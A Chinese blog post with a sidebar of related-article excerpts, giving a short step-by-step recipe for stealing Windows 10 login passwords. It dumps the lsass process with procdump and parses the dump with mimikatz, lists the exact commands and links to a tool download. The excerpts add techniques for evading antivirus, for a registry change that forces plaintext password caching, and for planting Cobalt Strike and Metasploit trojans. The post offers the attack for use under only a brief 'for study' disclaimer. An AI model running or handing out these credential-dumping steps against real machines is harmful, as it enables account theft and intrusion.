procdump + mimikatz 获取window10系统密码的方法

最新推荐文章于 2025-11-18 21:05:26 发布
原创 最新推荐文章于 2025-11-18 21:05:26 发布 · 1.4k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文介绍如何使用Procdump与Mimikatz等工具，在Windows环境下导出lsass进程快照，并从该快照中提取用户的登录凭证信息。此过程包括获取管理员权限、使用Procdump捕获lsass进程、使用Mimikatz解析lsass转储文件等步骤。

1，管理员权限打开cmd，进入对应目录
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件


2，管理员权限打开mimikatz.exe
执行privilege::debug；


3，管理员权限打开cmd，进入对应目录
把lsass.dmp放在mimikatz目录利用
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

工具下载路径：

https://download.youkuaiyun.com/download/onlyfunboy/19667731

免责声明：工具来源是开源软件和微软官方下载的，仅供个人学习和使用。如果有什么问题，请联系博主删除文章。

 

 

mimikatz在win7和win10抓取密码
ygylemon的博客
12-09 1829
右键lsass.exe可以创建一个名为lsass.DMP的文件，这个文件包括windows存储的密码，密码存放位置 C:\windows\system32\config\SAM，但是在域内渗透中，需要提供管理员权限才能进行转存文件，此时需要用到procdump。privilege::debug 先进行权限提升，然后sekurl::logonpasswords，就可以导出明文密码了。首先，需要下载一个procdump，是一款命令行工具，其主要目的是监视CPU峰值的应用程序，并产生了。
CS和msf的权限传递，利用mimikatz抓取win10明文密码
繁星
06-02 1715
安装CobaltStrike，浏览博主的上篇文章即可！！！这里我在自己的本机win11上执行了Client去连接kali中的Server端，直接执行.cmd文件即可！！！
利用Procdump+Mimikatz获取Windows帐户密码
cj_Hydra's Blog
01-29 1239
复现过程 导出lsass.exe 首先要获取到内存文件lsass.exe进程, 它用于本地安全和登陆策略,一般在进程管理器中能看到,这里用到微软官方发布的工具Procdump导出lsass.exe，所以不存在被杀软拦截的情况： 上传文件procdump64.exe到可执行目录中，执行下面语句： procdump64.exe -accepteula -ma lsass.exe lsass.dmp ...
如何使用mimikatz抓取Windows密码哈希？
最新发布
2501_93842368的博客
11-18 1068
管理员权限启动 → 2.提升权限 → 3. 用（内存凭证）或（SAM 数据库）抓取 → 4. 提取 NTLM 哈希或明文密码。在实战中，优先使用（实时内存抓取，包含明文和哈希），若需本地用户哈希则用，域环境下针对 DC 使用或 DCSync 命令。
cs与msf权限传递，以及mimikatz抓取win10明文密码
sgg236的博客
06-26 516
2,.生成木马 3.生成木马之后，将生成的木马程序拖到window2012，然后运行程序，发现目标已经上线 4.上线之后就可以对目标主机的操控 5.拿下权限将CS权限传递给msf1、建立监听器 2、在kali打开msf，开启msfconsole 2、调用 exploit/multi/handler 模块，将监听的ip地址与端口设置为在cs上建立监听保持一致。 3、然后进行传递 最后，返回msf就可以看到传递成功 msf拿权限1、在msfvenom生成木马 2、使用msfconsole启动Metasploi
mimkatz获取windows10明文密码
banliyaoguai的博客
05-31 3369
在Windows 10或更高版本的系统中，默认情况下，操作系统会在内存缓存中禁止保存明文密码。然后，再次使用mimikatz等工具读取lsass.exe进程的内存，即可获取到明文密码。mimikatz通过注入代码到操作系统的内存中，能够读取和解密这些由lsass.exe进程保存的加密凭证。具体的操作是，mimikatz先利用管理员权限执行一些操作，如使用procdump等工具lsass.exe进程转储成一个dmp文件。当用户登录时，lsass.exe会使用一个可逆的算法加密明文密码，并将密文保存在内存中。
在Win10系统中用mimikatz抓取明文密码
weixin_42558965的博客
03-22 4684
实验环境 ：Windows10专业版 参考了网上的方法，发现大部分都是抄的 https://blog.youkuaiyun.com/netsec_steven/article/details/107257325 这一篇文章，都被转烂了，这一篇文章是对的，但是路径上还是有点小问题的，原因是原作者跳了一个步骤 这个步骤是：在注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下新建一个名为UseLogonCredential的DWORD值，并且
内网渗透Windows密码凭证获取
qq_46258964的博客
06-09 3135
记录一下抓取window凭证信息的一些工具 Windows凭证抓取1，procdump (官方工具无视免杀)（首选） procdump + mimikatz 加载dmp文件，并导出其中的明文密码(procdump过杀软) 2，注册表读取windows hash (首选) 当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。 注册表读取密码主要获取的是3个文件 3，Pwdump 4，mimikatz(名声最大的密码获取工具) 5，MSF MSF框架密
windows10用户密码获取
qq_40334963的博客
10-29 1万+
windows10破解用户密码 简单介绍一下lsass.exe，这是是一个系统进程，用于本地安全认证服务器，她为winlogon服务的用户验证生成一个进程。如果身份验证成功，Lsass将生成用户的访问令牌，用于启动初始外壳程序。当用户登录时，lsass.exe会在内存中自动存储用户的登录凭证，攻击者就可以利用这一点来盗取用户的信息。 环境：windows10 x64 工具：procdump+mim...
内网渗透作业2（mimikatz、pwdump/procdump/LaZagne/nmap)
qq_45290991的博客
09-16 1341
内网渗透作业2（mimikatz、pwdump/procdump/LaZagne/nmap) 很紧张很“充实”的培训，今天主要是教了怎么抓取PC的密码…… 密码抓取5法 1.1mimikatz抓取明文密码 mimikatz是一个法国人写的轻量级调试器。出众之处在于其可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码，非常强大。 在网上找了一些相关的文章自己的一点总结吧 下载地址：https://github.com/gentilkiwi/mimikatz/rele
常用mimikatz命令合集
03-08
Mimikatz是一款功能强大的Windows安全工具，广泛应用于系统审计、密码恢复以及安全研究领域。它由法国安全专家Benjamin Delpy开发并维护。Mimikatz支持多种高级功能，包括但不限于密码抓取、权限提升、注册表操作、...
Procdump密码读取.zip
04-16
用于本地密码内存读取，使用方法包含着压缩包中
利用procdump+Mimikatz 绕过杀软获取Windows明文密码
热门推荐
冷风
09-30 2万+
Mimikatz现在已经内置在Metasploit’s meterpreter里面，我们可以通过meterpreter下载。但是你如果觉得还要考虑杀毒软件，绑定payload之类的东西太过复杂，我们可以有更好的办法，只需要在自己的电脑上运行Mimikatz alpha(地址)版本,然后处理dump的LSASS进程内存文件就行！那么如何dump LSASS进程内存呢。可以通过以下方式：1.对于NT6
密码提取神器 mimikatz 现已支持Windows 10 RS2
weixin_34077371的博客
09-19 4574
本文讲的是密码提取神器 mimikatz 现已支持Windows 10 RS2，昨天稍早，安全研究者@gentilkiwi 在推特上宣布，知名密码提取工具mimikatz推出v2.1.1新版，正式支持Windows 10 RS2（1707）。 mimikatz是由C语言编写的开源小工具，于2014年4月发起。它的功能非常强大，支持从Windows系统...
Procdump+Mimikatz获取Windows明文密码
SheXinK’s Blog
11-10 2726
Procdump+Mimikatz获取Windows明文密码1 测试环境2 抓取密码 2.1 Server 2008 R2抓取  2.1.1 生成存储文件  2.1.2 mimiakatz密码获取 2.2 Server 2012 R2抓取  2.1.1 修改注册表  2.1.2 mimiakatz密码获取 1 测试环境  系统:   Server 2008 R2   Server 2012 R2 ...
procdump和mimikatz联动
weixin_45715461的博客
06-30 887
procdump和mimikatz联动
轻量级调试器神器 - mimikatz
Yatere的天平秤
03-08 2969
昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下 神器下载地址: mimikatz_trunk.zip 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from
Procdump+mimikatz绕过安全防护读取密码
xxx9686的博客
09-16 451
在我们提权过程中经常会遇到杀毒软件，在我们将提权exp或者密码读取工具一上传至目标服务器立马被删的尴尬，本文完美解决此问题。Procdump是微软自家的外部工具，其主要目的是监视应用程序中的CPU尖峰并在尖峰期间生成崩溃转储。运行后将会保存lsass到本地，我们可以将该文件拖动到物理机中，使用mimikatz对其密码查看。使用procdump转储lsass进程。
mimikatz配合procdump抓取密码
qq_44881113的博客
09-16 4565
0x01 获取本地帐户密码 1.1 本地执行 下载mimikatz程序，找到自己系统对应的位数，右键以管理员身份运行： （不是管理员会报错） #提升权限 privilege::debug #抓取密码 sekurlsa::logonpasswords 当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。 cmd修改注册表命令： reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProvider
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值